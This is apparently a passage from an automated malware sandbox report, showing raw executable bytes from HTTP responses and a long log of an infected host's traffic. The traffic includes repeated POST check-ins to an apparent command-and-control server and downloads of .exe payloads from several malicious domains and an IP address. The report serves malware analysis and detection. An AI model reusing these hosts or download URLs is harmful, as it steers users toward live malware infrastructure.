00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 15 00 00 00 20 00 00 00 16 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 5c b9 00 00 00 40 00 00 00 ba 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 01 00 00 02 00 00 00 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 34 00 00 00 00 00 00 48 00 00 00 02 00 05 00 8c 23 00 00 60 10 00 00 01 00 00 00 01 00 00 06 ec 33 00 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 01 00 3a 00 00 00 01 00 00 11 00 28 13 00 00 0a 0b 12 01 28 14 00 00 0a 28 15 00 00 0a 00 73 05 00 00 06 0a 06 6f 04 00 00 06 00 28 13 00 00 0a 0b 12 01 28 14 00 00 0a 28 15 00 00 0a 00 16 0c 2b 00 08 2a 22 02 28 16 00 00 0a 00 2a 00 1b 30 06 00 ae 00 00 00 02 00 00 11 00 d0 20 00 00 01 28 17 00 00 0a 72 01 00 00 70 17 8d 14 00 00 01 25 16 d0 22 00 00 01 28 17 00 00 0a a2 28 18 00 00 0a 14 17 8d 10 00 00 01 25 16 20 20 4e 00 00 8c 22 00 00 01 a2 6f 19 00 00 0a 26 00 20 00 0c 00 00 28 1a 00 00 0a 00 00 de 05 26 00 00 de 00 d0 26 00 00 01 28 17 00 00 0a 72 0d 00 00 70 72 35 00 00 70 72 39 00 00 70 28 1b 00 00 0a 17 8d 14 00 00 01 25 16 d0 27 00 00 01 28 17 00 00 0a a2 28 18 00 00 0a 73 1c 00 00 0a 17 8d 10 00 00 01 25 16 72 3b 00 00 70 a2 6f 19 00 00 0a 74 01 00 00 1b 0a 2b 00 06 2a 00 00 01 10 00 00 00 00 42 00 0f 51 00 05 10 00 00 01 1b 30 03 00 37 01 00 00 03 00 00 11 00 02 28 03 00 00 06 0a 06 14 fe 03 13 04 11 04 2c 0b 06 16 06 8e
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:02 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:04 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 19:24:07 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 16:06:29 GMTETag: "6ff1c1-5d58cfc604e56"Accept-Ranges: bytesContent-Length: 7336385Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 cb 9e e1 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 25 0a 70 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 e3 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e3 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49941 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49942 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cosjvii.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://efywdpqsv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vucofkhoh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://glphw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oyaibbgc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nkvfp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ojffxid.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qctnjb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vjrurwpaf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cadsuqagh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://meblvhu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 271Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nyxemdoi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://syoeagb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 199Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xlertqbun.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://blagu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kkmdou.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qbjnsl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ornpwmrp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rlhvsc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 351Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rtrryuils.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://scgsgbtih.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://akyloc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ahoawm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmfhwtjj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 329Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lfyjw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sipqy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jnlltxxq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdbgmr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vxwgswks.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ksfdeabujk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bsgftsru.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hfmcm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hiwcjtiwj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tmqcl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://opsdg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fdqepw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qbbvlw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 351Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://giykrj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dnoukoye.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 139Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fpoovg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://inyhvk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oabgm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iaimu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mwapt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: host-data-coin-11.com
